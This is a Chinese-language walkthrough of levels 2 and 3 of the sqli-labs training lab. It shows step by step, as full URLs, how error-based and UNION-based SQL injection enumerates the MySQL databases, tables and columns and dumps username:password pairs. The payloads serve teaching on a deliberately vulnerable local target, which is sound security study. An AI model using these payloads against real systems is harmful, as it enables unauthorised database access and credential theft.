Less-2  GET - Error based - Intiger based

从题目来看应该是get型的基于报错的数字型注入

打开第二关如下

sqli-labs Basic Challenges Less2-3

如同第一关一样先加单引号通过报错信息判断注入类型

http://www.bj.com/sqli-labs/Less-2/index.php?id=1'

sqli-labs Basic Challenges Less2-3

可以看到返回的报错信息是

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

这里的错误主要是' LIMIT 0,1

也就是说多了一个单引号,而且这个单引号还是我们自行加上去的。

所以这里可以判断注入点就是数字型了。

如果跟第一关的字符型比较的话,查询语句大概就是

select * from users where id=1 limit 0,1

所以我们添加单引号之后就变成了

select * from users where id=1’ limit 0,1

当然数据库就无法执行要报错啦。

数字型的注入相对于字符型来说要简单许多,因为不需要闭合前面的引号,也不需要注释后面的语句。

还是同第一关一样,先判断当前的查询表的字段数

http://www.bj.com/sqli-labs/Less-2/index.php?id=1 order by 3

sqli-labs Basic Challenges Less2-3

order by 3的时候页面显示正常,order by 4的时候就报错了。

sqli-labs Basic Challenges Less2-3

所以当前查询的表的字段数依然是3列。接下来就是看显示位了。

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,2,3

sqli-labs Basic Challenges Less2-3

可以看到页面还是选择的查询结果集的第2列和第3列。

再来看看用户名和当前的数据库

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,user(),database()

sqli-labs Basic Challenges Less2-3

查询所有的数据库名

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,2,group_concat(schema_name) from information_schema.schemata

sqli-labs Basic Challenges Less2-3

查询security数据库中的所有表名

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

sqli-labs Basic Challenges Less2-3

查询users表中的所有字段名

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

sqli-labs Basic Challenges Less2-3

查询username、password字段的内容

http://www.bj.com/sqli-labs/Less-2/index.php?id=-1  union select 1,2,group_concat(username,':',password) from security.users

sqli-labs Basic Challenges Less2-3

Less-3  GET - Error based - Single quotes with twist - string

看题目的意思是get型的基于报错的单引号变型的字符型注入。

打开第三关如下

sqli-labs Basic Challenges Less2-3

首先添加单引号通过报错判断注入的类型

http://www.bj.com/sqli-labs/Less-3/index.php?id=1'

sqli-labs Basic Challenges Less2-3

可以看到这里的报错似乎不太一样,返回的报错信息是

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

具体的错误是'1'') LIMIT 0,1

也就是说此处多了一个单引号,原来的格式应该是id=(‘1’)

确实可以说是单引号的变型了,因为单引号的外部还用()括起来了。那么针对这种情况我们肯定是需要闭合前面的(‘并且注释掉后面的语句才行。

首先判断当前表的字段数

http://www.bj.com/sqli-labs/Less-3/index.php?id=1') order by 3 --+

sqli-labs Basic Challenges Less2-3

order by 3时页面正常,order by 4时报错了。

sqli-labs Basic Challenges Less2-3

可以判断字段数为3,接下来判断页面显示位

http://www.bj.com/sqli-labs/Less-3/index.php?id=-1') union select 1,2,3 --+

sqli-labs Basic Challenges Less2-3

可以看到显示位依然是2,3。后面的步骤就同上了。

http://www.bj.com/sqli-labs/Less-3/index.php?id=-1') union select 1,2,group_concat(username,':',password) from security.users --+

sqli-labs Basic Challenges Less2-3

相关文章:

  • 2022-01-12
  • 2021-05-27
  • 2021-09-09
  • 2022-12-23
  • 2021-06-13
  • 2021-10-22
  • 2021-11-29
  • 2021-09-11
猜你喜欢
  • 2021-12-26
  • 2021-12-30
  • 2021-09-03
  • 2021-07-09
  • 2021-11-16
  • 2021-08-08
  • 2021-06-26
相关资源
相似解决方案